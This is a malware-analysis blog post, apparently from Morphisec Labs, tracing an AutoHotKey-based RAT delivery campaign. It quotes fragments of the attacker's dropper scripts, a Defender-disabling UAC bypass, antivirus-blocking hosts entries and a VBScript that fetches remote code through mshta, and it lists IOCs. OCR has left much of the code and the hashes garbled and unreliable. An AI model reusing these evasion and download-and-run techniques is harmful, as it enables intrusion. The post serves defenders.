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Intro:

The Morphisec Labs team has tracked a unique and ongoing RAT delivery campaign that
started in February of this year. This campaign is unique in that it heavily uses the
AutoHotKey scripting language—a fork of the Autolt language that is frequently used for
testing purposes.

Starting in February, we identified at least four versions of the RAT delivery campaign, each
of which includes multiple advancements and adaptations over the past three months.

In this blog post, we will dive into the details of each attack chain, while highlighting
interesting and rare techniques that the attackers use, including:

o Manifest flow hijack through VbsEdit manipulation

o UAC bypass

e Emulator bypass

o Tampering with Microsoft Defender and other antivirus products
¢ In-place compilation

o Delivery through text share services

Technical details:
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The RAT delivery campaign starts from an AutoHotKey compiled script. This is a standalone
executable that contains the following: the AHK interpreter, the AHK script, and any files it
has incorporated via the Filelnstall command. In this campaign, the attackers incorporate
malicious scripts/executables alongside a legitimate application to disguise their intentions.

T114F 28181 CEDGIACTECD2BFAEID23EA267 91 34FDT 201 FOB30T2ACIEDT3TTEZS

O & @ Dashcam Viewsr 3.6.5.exe
pesxe  direct-cpu-clock-access checks-usar-input  runtime-modules
ES60&E2EF1F4EFD2AA34FSFFTE46934 1BE4250C3EEDTTEARTAETAFEFCE32E165

O & & Microsoft Toolkit v2.7.1.exe
pesxe  direct-cpu-clock-access  detect-debug-environment  runtime-modules
BAEATBBE] TFEFA4A2A34800FE3AT4 350 60AZZ0ES400FFI7 6859692 BEDE4AF 34

O & ® Windows.18.Manager-3.4.6.exe
pe=xe  &dbits  runtime-modules  assembly  direct-cpu-clock-access
EEESDCFEFIAIFE1953774BF62618C2E8A6E 1BCECT9360432C14782AB23CCCF2T

= Fences_3.089_setup_sd.exe
pesxe  assembly  checks-disk-space  runtime-modules long-sleeps  direct-cpu-clock-access  checks-user-input  &dbits
2DF67FEEA403593CAFC298163FE0ATTAFEDDT3E674C688303408F D0 FACE0BIBA

O @ winrar-x64-688th.exe

pe=xe  runtime-modules  direct-cpu-clock-access checks-user-input

Figure 1: Malicious scripts alongside legitimate executables

We observed various RATs distributed via a simple AHK compiled script. We also identified
several attack chains linked to this campaign, all of which start with an AHK executable that
leads to the different VBScripts that eventually load the RAT. In this blog, we are going to

cover the technical details for each of the observed attack chains shown in the below figure.
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Figure 2: Possible attack chains.

VjWOrm/Houdini chain

The attack chain that delivers the VjWO0rm and Houdini RAT is the first one we saw using this
Loader. This attack chain was first used utilizes thein February 2021 and is still in use as of
today. We observed several changes over time and we will describe them below:

Version 1

First seen: February 17, 2021
Hash: 40e8b99b36739c397f8f0da2ab40f62b3af3da8b3f43fc2537841a9bf9105584

[BH Resource Hacker - 40e8b99b36739c397F8f0daZabd0f62b3af 3daBbIf43fc2537841a0b5105584
File Edit View Action Help RCData : = AHE

D R |E B e D 0(QOEE 8o

----- Icon 1|; <COMPILER: v1.1.23.00=

----- Menu 2 || Fileinstall, program.exe, %AppData\program.exe, 1

..... | Dialog 3 ||run %AppData¥e\program.exe,

..... | Accelerators 4 || FileInstall, conhost.exe.manifest, %ProgramData®sconhost.exe.manifest, 1
- RCDat3 5 || fileinstall, conhost.exe, %ProgramData%\conhost.exe, 1
i 6 || run %%ProgramData®s\conhost.exe, Hide
: W >AHK WITH ICON< : 1033 7 | FileCreateShortcut, Yaselts, %A Startup%/conhost. exe.manifest

.f COMHOST.EXE : 1033
~f CONHOST.EXE.MAMIFEST : 1033
sy PROGRAM.EXE @ 1033

Figure 3: The first version of the AHK script

First, the AHK script drops a legitimate application to the %appdata% directory and executes
it. Next, it drops two files into the %programdata% directory. The first file is called
conhost.exe and the second file is called conhost.exe.manifest (malicious manifest). Then
the script executes the legitimate conhost.exe application, which leads to the execution of
the malicious manifest through a path hijack.

Those files are the outcome of a tool called VbsEdit. The attacker uses VBsEdit to convert
the VjWOrm and Houdini VBScript into an executable.
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-
Convert into Executable

8

Figure 4: A VbsEdit tool used to convert to script

The tool creates a manifest (XML) file that holds the base64 encoded VBScript and
information about how to execute the script. This manifest file needs to be located alongside
the launcher (called conhost.exe). The launcher itself is a legitimate tool without any

Path:

Mode: Run in Console mode like CScript -

[ Run Silently (Suppresses errors and prompts from displaying)
[T use Unicode for redirected 1O from the console

Icon:

i@ build a 32-bit application () build a 64-bit application
Version: i .0 .0 . 0

Description: dictionary v1.0

Product Name:  dictionary

Legal Copyright: Copyright (C) 2015

UAC Execution level: [asn-.voke.- -]

Digitally sign the executable with this certificate:

Alternate User Account: <optional> Password:

<pptional >

o || cencel |

detections in VirusTotal.

5/17



[BH Resource Hacker - 40e8b98b36739c397Faf0da2ab40f62b3af3daBb3f43fc2537841a9bF9 105584, exe - O X

File Edit View Action Help RCData : COMNHOST.EXE.MAMNIFEST : 1033
) ﬁ W Qe [y = \)\ l__ Dialog D @ I
DR B e 0|QL e o
----- ) Icon 1 | <assembly xmins="urn:schemas-microsoft-com:asm.vl" manifestVersion="1.0"> ~
----- ; Menu 2 || <trustInfo xrmins="urn:schemas-microsoft-com:asm.v3">
..... | Dialog 3 | <security>
..... Accelerators 4 | <requestedPrivieges=
~ I RCData 5 | <requestedExecutionLevel level="asInvoker" viAccess="false"></requestedExecutionLevel=
v . 6 | </requestedPrivieges>
i or =AHK WITH ICON< : 1033 7 | </security=
- COMHOST.EXE : 1033 8 | </trustInfo=
¢ COMHOST.EXE.MANIFEST : 1033 9 | </assembly=>
. PROGRAM.EXE : 1033 10| =!-BEGIN WBSEDIT DATA
..... | Icon Group 11 [FHIvb3Q+DQo8c25ZW50PnRydVWUBLINPbGVUIDANCXUa VY I3V OFIABLIRP DY
..... | Version Info 12 {|dXQ+DQo8c2NyaXBObmFZ T4zNC52 YnMBL3N cmiwd G5hbVWU+D Qo8 YXBwbmFLZTS T

13 [leXN0ZW0zMiSjib250b3N0PCOhcHBUYW1IPgOKPHMjcmlved D4nIENVZ GWKIGISIHZE
14 ||QjAxDQpPbiBlcnIvcByZXN1bWUghmy4 dAOKDQpqIDOgYXIyYXkoId TY3IpcHQuU
15 (JU2hbGwiLCITY3IpcHRpbmcuRmIsZVMSC3RIbUSamMVid CIsINoZWxsLkFwcGxp

16 || Y2F0aWouTiwiTwicrm9zb 2Z0 LhN TERUVFAIKQOKZy ASIG FycrmFSKCIISOMV Tiwi

17 (ISEEMTSIsIkhLQ 1V ednowemDiLClel29mdHdhemVe TWicrm@zb2Z0XFdpbmRvd3Me
18 ||Q3VycmudFZlcnMpb 2 5cUnVuXCIsIkhLTEL cU09GYFdBUKY cQ2xhc3NIc1 wil CIS

19 ||RUdfU1 0iLCIcZGYmY XY sdGlib2 5cTkNCnk9IG FycmFSKCI 3aW5tZ21 0 czoilC13

20 (law4zMI9sb2dpY 2FsZ GlzayIsIldpbjMyX09wZ¥ I hdGluZ1NSc3RIbSIsIndpbmin

21 ||bXRz0kcbGY YWWixob3NOXHIVb3RCC2VidXIpdHEZWS 0ZXTLCIBbnRpV miy dXHQ

22 |fcm@kdWNOTkNCgOKZnVu Y3Rpb24gZ280bSkNCmIMIGOSNCBOaGVuDQpUPSI3aWst
23 ||2210czpcXGrv Y 2FsaG9zdPyb 290 XHNIY3VyaXR5 Y2Vud GVyIgDKU 2V OIEISR2VO

24 IT210ZWNOKHkoMykpLkluc3RhbmMIc09mKHKkoNCkpD Qpmb31gZWHaCBhIGIUIGIN
25 ||CmdvPWEUZGlzcGxhe UShbWUNCMY4aXQaZm9yD QpuZxh0DQp TZXQaQi1HZXRP Ympl
26 || Y3QoeSgzKSAMYW 1wOyAMIpLkluc3RhbmMIco8@mKHkoNCkpDQpmb31gZ\WHaCBh

27 |IGIIGINCmdvPWEUZGlzcGxheUShbWUIgDOpleGI0IGZvcgOKbmyv4d ADKaWW YoZ289

----- J Manifest

Figure 5: The manifest file

Version 2

First seen: March 31, 2021
Hash: 825be2ef1143b610633150d7f2bbd5189a3e5939¢c21a6056283106069¢7bc313

In this version, the attacker wrapped the dropped RAT with an additional AHK executable.
They also added the ability to disable Microsoft Defender by dropping a Batch script and an
LNK file pointing to that script.

----- | Icon 1|; <COMPILER: v1.1.23.00=
..... | Menu 2| Sleep 100 -
..... Dizlog 3 qlppﬁ 100 Executes legitimate
..... ' Acceleratars 4 WFileinstall, Setup.mp4, %ProgramData®s\Setup.exe, 1 application
~ [T RCData 5 |Sleep 100
. . o o
: o >AHK WITH ICON< - ? rstljgeaﬁiruongmmmm %\ Setup.exe,
_¢ CONHOSTHOST.MP4 || g | Sleen 100 .
¢ SETUP.MP4 : 1033 o [Flenstall, Start.mpa, SaProgrambDatade \star.bat, 1 Disables the
by START.MP4 @ 1033 10 |Sleep 100 Defender
© iy STARTL.MP4 :1033 || 11 JFieinstal, startl.mp4, %ProgramData%\startl.lnk, 1
_— Icon Group 12 |Sleep 100 Executes the RAT
_____ ' . 13 Jrun %ProgramData%s\startl.ink, via VBS launcher
| Uers‘rlfun ffo 14 | Sleep 40000 / o
""" | Manifest 15 | Fileinstall, conhostHost.mp4, %ProgramData%s\conhostHost.exe, 1
16 | Sleep 100
17 L run 26ProgramData\conhostHost. exe,

Figure 6: Added the ability to disable Defender

When executing the LNK file, the Batch script starts to perform several Powershell
commands.

6/17



-ExecutionPolicy Bypass -File C:\Users\Public\ff.psl
Figure 7: The script used to disable Defender

The commands download a known hacking_tool that disables Defender
(DefenderControl.exe v1.7) through an additional Powershell script that performs a known
disk cleanup UAC bypass technique. This bypass allows the attacker to gain the higher
privileges necessary to disable Microsoft Defender (assuming the user is also an
administrator).

]::GetCurrent()).groups -match "S-1-5-32-544")) {

-w h $PSCommandPath;#"
-Name $name -Value $Value

Figure 8: Disk Cleanup UAC bypass

Once Defender has been disabled, the AHK drops an additional AHK
executable(CONHOSTHOST.exe). This AHK executable utilizes the VBS launcher technique
shown in previous versions.

----- J Icon 1|; <COMPILER: v1.1.33.02>
----- ) Menu 2 ||fileInstall, conhost.exe.manifest, YaProgrambataYs/ conhost.exe.manifest, 1
..... | Dialog 3 | fileinstall, conhost.exe, %Programbata%sf/conhost.exe, 1
..... | Accelerators 4 | run %eProgramData%,/ conhost.exe,
5 | FileCreateShortcut, %asel%, %A_Startup%s/conhost.exe.manifest

v - | RCData

. i >AUTOHOTKEY SCRIPT<
~f CONHOST.EXE : 1033
--------- ~f CONHOST.EXE.MANIFEST

Figure 9: The second AHK executable.

Version 3
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First seen: April 8, 2021

Hash: 16142a05c08de5cc69c1fb13924df2861e81b48e5cabe0ef3f71684cfa3aeb55

Two more capabilities were added in this version:

The first drops and executes a VBScript that blocks connections to popular Antivirus
solutions by manipulating the victim’s C:\Windows\System32\drivers\etc\hosts file. This
manipulation denies the DNS resolution for those domains by resolving the localhost IP

address instead of the real one.

..... J Diglog

----- | Accelerators
v - ||| RCData
-------- o =AHK WITH ICON< :
........ W ATXT : 1033
-------- - COMHOSTHOST.MP4
-------- - KELLVBS.WBS : 1033
-------- - SNBSS ;1033
-------- - SETUP.MP4 : 1033
-------- . START.MP4 : 1033
-------- - START1.MP4 : 1033
----- J Icon Group
----- J Version Info
----- ) Manifest

(¥ o T s T o R N S I 8

127.0.0.1 www.eset.com
127.0.0.1 iploc.eset.com

127.0.0.1 repository.eset.com
127.0.0.1 www.avast.com
127.0.0.1 www.malwarebytes. com
127.0.0.1 www. kaspersky.com
127.0.0.1 www.edf.eset.com
127.0.0.1 www.update.eset.com
127.0.0.1 update.eset.com
127.0.0.1 www.kaspersky.co.th
127.0.0.1 www.kaspersky.com.br
127.0.0.1 usa.kaspersky.com
127.0.0.1 settings-win.data.microsoft.com
127.0.0.1 ark.mwhbsys.com
127.0.0.1 telemetry.malwarebytes.com
127.0.0.1 keystone.mwhsys.com
127.0.0.1 iavsSx.avg.u.avodn.net
127.0.0.1 shepherd.ff.avast.com
127.0.0.1 ivsdd. u.avast.com
127.0.0.1 vFevent.stats.avast.com
127.0.0.1 www.avg.com

127.0.0.1 www.malwarebytes.com

Figure 10: The data written to the host’s file.

The second drops and executes a VBScript that terminates wscript.exe processes to
clean traces of a failed attempt to perform the previous VBScript.

Version 4

First seen: May 2, 2021

Hash: fb63eea2503686f90c4c2ec9a74407a2d5a1211e8a1566ae1da63f0d1d9e2cad

In this version, the attacker added directory-creation spamming that creates around 10
directories and subdirectories, then overrides the call numerous times. Though the attacker's
intentions are not clear at this point, this might be a technique to introduce noise or to spam

an emulator.

8/17



----- Icon 1|; <COMPILER: v1.1.33.08>
..... Menu 2 || FileCreateDir, c:\Documents! Textl
- Dialog 3 | FileCreateDir, c:\Documentsh Text2
. . 4 | FileCreateDir, c\Documents) Text3
y | Accelerators 5 | FileCreateDir, C:\ProgramData\Microsoft Arts\Start
. | RCDatz 6 | FileCreateDir, c:\Documents' Texts
: ] 7 | FileCreateDir, c:\Documentsh Texts
- I 1.MP4 = 1033 8 || FileCreateDir, c:\Docurments', Text?
o =AUTOHOTKEY SCRIPT< - 103 9 | FileCreateDir, c:\Documents)\Texts
b up CONHOSTHOST.MP4 : 1033 10 | FileCreateDir, c:\Documents) Textd
_ f s KELLVBS.VBS : 1033 11 F@IeCreateD@r, c\Documents', Texti
. Icon Group 12 F!Ie CreateDir, c\Documentsh Text
. ’ 13 | FileCreateDir, c:\Documents!, Text
= J Version Info 14 | FileCreateDir, c:\Docurments) Text
..... | Manifest 15 | FileCreateDir, c\Documents) Text

Figure 11: Directory-creation spamming

Additionally, a new VBScript is dropped into %ProgramData%\kellvbs.vbs. This script leads
to a new variant of our previously researched HCrypt. It ends up delivering njRAT with the
same C2 address as the VjwOrm that has been dropped by the VBScript launcher.

In the second stage, AHK drops a Batch script that hides the manifest file, so that only the
benign VBS launcher called conhost.exe will be visible to the victim.

—i
(]
=]
=3
[y

attrib +h "C:\ProgramData\Microsoft Arts\Start\conhost.exe.manifest”

: ..... | Dialog

y | Accelerators

v ||} RCData

-------- of =AUTOHOTKEY SCRIPT= : 103
oo AABAT : 1033
-------- of COMNHOST.EXE : 1033
- of COMHOST.EXE.MAMIFEST : 103

Figure 12: Hiding the manifest file

Powershell loader chain

This attack chain first appeared in late April 2021. It has a strong resemblance to the
previously described chain, except for the delivery technique and the RAT distribution used.
In this chain, we have observed LimeRAT and RevengeRAT loaded as the final payload.

Both of the delivered RATs communicate to the same C2 address - gamers2020.ownip[.]net.

Version 1

First seen: April 26, 2021
Hash: c7165a80a5233ff799a7cdb0de9d1dafc7c40e4b31db01226b3d975411ceb59e
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\.f ..... . RCData

-t 1MP4 1 1033

¥ >AUTOHOTKEY SCRI
“Ur BB.MP4 : 1033
oy
Lt

KELLVBS.VBS : 1033

e START.MP4 : 1033
bt STARTL.MP4 : 1033
» J Icon Group
— J Version Info

----- | Manifest

FiELl 2dLELA I, Ly LA U NI ILE Y T EAL
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
File CreateDir, c:\Docurments) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
File CreateDir, c:\Docurments) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text
FileCreateDir, c:\Documents) Text

FileCreateDir, c:\Documents) Text
FilaCreatalir_c-\Nocymentet Toyt

Terminates Wscript.exe

Fileinstall, kelvbs.vbs, %6ProgramData®at\kelvbs.vbs, 1

Sleep 1000
run %ProgramData®sikelvbs.vbs,

Tleep 100

Executes legitimate

Sleep 100
run %ProgramData®s\Setup.exe,

leinstall, 1.mp4, %aFrogrambataa’\setup.exe, 1

application

Sleep 100
Claan 10000

. Disables the

Fileinstall, start.mp4, %ProgramData®'\start.bat, 1 Defender

Sleep 100

Fileinstall, startl.mp4, %ProgramData¥\startl.nk, 1

Sleep 100
run %eProgramData®s’\startl.Ink,

aleen UL

e Exccutes the RAT

Fileinstall, bb.mp4, %sProgramData®:\bb.vbs, 1

Sleep 100
run %eProgramDataetbb,vbs,

via VBScript

Figure 13: The AHK second chain script.

The RAT is delivered by an obfuscated VBScript (as shown in Figure 14) that is dropped to
the victims %ProgramData% directory. This script deobfuscates a PowerShell command that
downloads the next stage from a Pastebin-like sharing platform service called stikked.ch.
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YYYYYUUUUUIIIII (plaintext)

YYYYYUUUUUIIIII = YYYYYUUUUUIIIIT & result

oprejgoproi dfmvoeir srdlvmoermgno
Fxecute(Str

URLURL = " B

AAAEEE YYYYYUUUUUIIIII(

BBBCCC = YYYYYUUUUULIIII(

DDDEE

YYYYYUUUUUIIIII(
YYYYYUUUUUIIIII( Ut

Figure 14: Obfuscated VBScript downloads and executes PowerShell from a Pastebin
service.

The Powershell stage from the paste embeds the next stage as a C# source code
represented in a hexadecimal encoded blob ($Win32Runpe in Figure 15). To execute the
next stage, the Powershell decodes the blob, compiles and saves it into the %temp%
directory under the name RegAsm.exe, then executes the compiled executable.

We notice that the author compiled the executable with ‘GenerateExecutable=true which is
uncommon for attackers, as he could compile the executable in memory by setting the flag
‘GeneratelnMemory=true’. This might be an evasion attempt as many solutions are looking
for this flag.
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$HEX -split -)
ach ($value in $HEX) {
]::ToInt32($value, 16)

$path

$dir = [ E 11::new()
$dir.Add(" ion", "v3.5")

1: :new($dir)
1: :new(
('
$cp.GeneratelnMemo
$cp.GenerateExecutable =
$cp.OutputAssembly = $path
$cp.CompilerOptions = "/t:wi
[ ] $res = $csc.CompileAssemblyFromSource($cp, [
1: :UTF8.GetString([ [1]1{Convert-HexToBytes{$Win32Runpe)}))

]::Start($path)

Figure 15: PowerShell script from stikked.ch Pastebin.

The C# source code embeds the RAT payload as an AES encrypted blob (Buffer in Figure
16). The keys are embedded in the source code as well. In order to execute the RAT
payload, it decrypts the blob, reflectively loads the decrypted payloads, then invokes it.
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Main( [1 args)

[] Eu+Fer

48,52,1
1ea,182

,182,241,

298,

a, 11J,¢n1 ,;1.:4 145_
9,73,221,166,14,162,8,167,182,
L,14n 204,4,126,119,168,22
,101,197,114,117,149,19¢
,86,195,99,77,29,219,12

GCHandle gc = GCHandle.Alloc(System.Threading.Thread.GetDomain().
{(Buffer)));

GCHandle gcEp = GCHandle.Alloc(((

GCHandle.Alloc((

Figure 16: C# source code.

Version 2

First seen: April 26, 2021
Hash: 24fdf42e2c026708b3ed29fe6791190e3a40c2dca063bfd8233c974f373e775f

In this version, the attacker added a hexadecimal obfuscation layer to the VBScript and used
a different PowerShell paste (hxxps://stikked[.]Jch/view/raw/5d4df3b8) to load the RAT.
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The PowerShell script used in this attack is a notorious one that is observed in several other
RAT campaigns (1, 2, 3). It holds two hexadecimal blobs. The first one is a .NET DLL that is
used for injecting the second hexadecimal payload, which is the RAT.

vert-HexToBytes
) $HEX)
$HEX = $HEX -split '(..)"

onvert-HexToBytes $FgQl1
EEIE IEX; $g55 = $y.GetMethod(“get CurrentDomain™)
)} | IEX

Figure 17: PowerShell script from stikked.ch Pastebin.

HCrypt Chain

First seen: April 21, 2021
Hash: d9b6a27e17fbf09801a848e3b42206b3a02e728207e9c1bd4e1e2a56294aba7c

This chain is slightly different from the others, as the AHK script bundled files have different
naming conventions and don’t include the VBS launcher. We will explain the connection and
similarity to this campaign in the next section.

Similar to previous chains, the AHK script drops and executes a legitimate application. Next,
it drops and executes a VBScript that downloads and executes an in-memory PowerShell
script that leads to HCrypt. HCrypt is known as a RAT loader. In this campaign, we observed
AsyncRAT as the loaded RAT.

14/17


https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/
https://isc.sans.edu/diary/From+a+small+BAT+file+to+Mass+Logger+infostealer/26946
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

shiryktf = StrReverse("ehS.tpircS™)
Set mfhipww = CreateObject"W"+shiryktf+"lI")
ppfzlcmo = StrReverse(™ aphsm™)

rfhiipwer.Runippfzlcmo+" |httg:{{ﬁms.a|‘rﬁires.org J_'jihada_'B.t-:t'], CONSOLE HIDE, CMD_WAIT

Set mfhipww = Nothing

| Dialog

| Accelerators

RCData

o =AUTOHOTKEY SCRIPT< : 1033
. CB.O.EXE : 1033

wr CONHOST.VBS @ 1033

L3 SO I S R

Figure 18: The VBScript that leads to HCrypt.

Fingerprinting the campaign

In this campaign, we described various attack chains. We can attribute them to the same
actor based on the following:

o They all drop a legitimate application before performing any malicious activity.

They have the same resource naming convention across all of the versions: *.MP4,
KELLVBS.VBS, CONHOST.EXE, etc.

The AHK script has a strong resemblance across all of the chains, using the same
commands: Filelnstall, run, sleep, and drop the files to the %ProgramData% directory.
In several attack chains, we observed the same directory spamming technique.

They use the same scripts and UAC bypass technique to disable the Defender (in

different stages).

Conclusion

As threat actors study baseline security controls like emulators, antivirus, and UAC, they
develop techniques to bypass and evade them. The technique changes detailed in this report
did not affect the impact of these campaigns. The tactical goals remained the same. Rather,
the technique changes were to bypass passive security controls. A common denominator
among these evasive techniques is the abuse of process memory because it's typically a
static and predictable target for the adversary.

We still need these baseline controls to keep the automated attacks at bay. But the manual
tradecraft employed by innovative attackers like this one require a modern approach to
security. Morphisec Guard offers control and visibility of these baseline controls while adding
advanced breach prevention for in-memory exploits and evasive fileless techniques like
those used in these campaigns. If you are experiencing a breach or would like a proactive
audit of your critical assets, Morphisec’s team of researchers is available to assist.

I0Cs

AHK

e 40e8b99b36739c397f8f0da2ab40f62b3af3da8b3f43fc2537841a9bf9105584
e 5181018a9ad6d851adce6768cd01a5d10c2bd0b0180c75e92a3ce00827624bae
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https://www.morphisec.com/products/morphisec-guard-endpoint-protection
https://engage.morphisec.com/experiencing-a-breach?hsCtaTracking=141b6328-6633-46fc-afa8-ed8fa8e94a9c%7Cd6e35c2a-5a02-4be0-8746-061061ef9f4a

06d23a4c6bcd34a4a4817¢cb193¢c2916cd56dd440b022803d5b4c8f68a0951291
825be2ef1143b610633150d7f2bbd5189a3e5939¢21a6056283106069¢c7bc313
d9f512ede0ad80c19866666e54ed2d95727c4f3d026a32465db009fac4fc6796
2df67fbe0455598c0fc2981b3f80a776f85d73b74c6083d34d0fdd1f6c6db30a
16142a05c08de5cc69c1fb13924df2861e81b48e5ca5e0ef3f71684cfa3aeb55
aa16fe9cd572b39e45e334ba463d26f9fa1187bfaa25daf9775eb200a056f62d
185e01e26c705e3aa27f3ad33ff1333411¢c37¢28cc7ff108f183947ade1b44ca€a2503686f90c4c2ec9a74407a2d5a1211e8a1566ae1da63f0d1d9e2cad
ac61c8ff51634976¢c633035b0bcf704407f828a8e9367f0b15cee48fb858842¢

hxxp://tahoo.publicvm[.Jcom:1955
hxxp://tahoo.publicvm[.Jcom:9999
hxxp://tinatahoo.publicvm[.]Jcom:1000
hxxp://domaineweb.publicvm[.Jcom:1002
hxxp://tinda.publicvm[.Jcom:888
hxxp://domaineweb.publicvm[.]Jcom:777
hxxp://janda.publicvm[.Jcom:1005
hxxp://gamers2020.ownip[.]net
hxxp://like-sports.publicvm[.Jcom:300
hxxp://facebook-sports.publicvm[.Jcom:150
hxxp://volaria.publicvm[.Jcom:1010
hxxp://musicnote.soundcast[.]me:90
hxxp://websites.publicvm[.Jcom:1003

Disabling Defender & UAC bypass URLs

hxxp://gamecardsy[.Jcom/ahmadtestupl/kell5.bat
hxxp://gamecardsy[.Jcom/ahmadtestupl/kilall.vbs
hxxp://gamecardsy[.Jcom/ahmadtestupl/ss.ps1
hxxp://gamecardsy[.Jcom/ahmadtestupl/DefenderControl.exe
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e hxxp://gamecardsy[.Jcom/ahmadtestupl/DefenderKill.txt
o hxxp://gamecardsy[.Jcom/ahmadtestupl/Defender.bat

» hxxp://gamecardsy[.Jcom/ahmadtestupl/ff.ps1

o hxxp://gamecardsy[.Jcom/ahmadtestupl/DefenderControl.txt
o hxxp://firas.alifares[.Jorg/defender/ff.ps1

o hxxp://firas.alifares[.Jorg/defender/DefenderControl.ini
o hxxp://firas.alifares[.Jorg/defender/DefenderControl.exe
o hxxp://firas.alifares[.Jorg/defender/DefenderKill.Ink

o hxxp://firas.alifares[.Jorg/defender/Defender.bat

o hxxp://firas.alifares[.Jorg/defender/kil.ps1

o hxxp://firas.alifares[.Jorg/defender/11.txt

Paste URLs

o hxxps://stikked[.]Jch/view/raw/5d4df3b8
o hxxps://stikked[.]Jch/view/raw/f03bc538

MORPHISEC

SEE MORPHISEC IN ACTION!

Contact us now to get a demo of Morphisec Guard, and see
how we make advanced security accessible to everyone.

THREATS OVER TIME

BOOK A DEMO

Contact Saleslnquire via Azure
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https://cta-redirect.hubspot.com/cta/redirect/1534169/50832359-01e9-4911-98db-45bd66a69b90
http://10.10.0.46/mailto:sales@morphisec.com
https://azuremarketplace.microsoft.com/en-us/marketplace/apps/morphisec.morphisec_unified_threat_prevention_platform?tab=overview

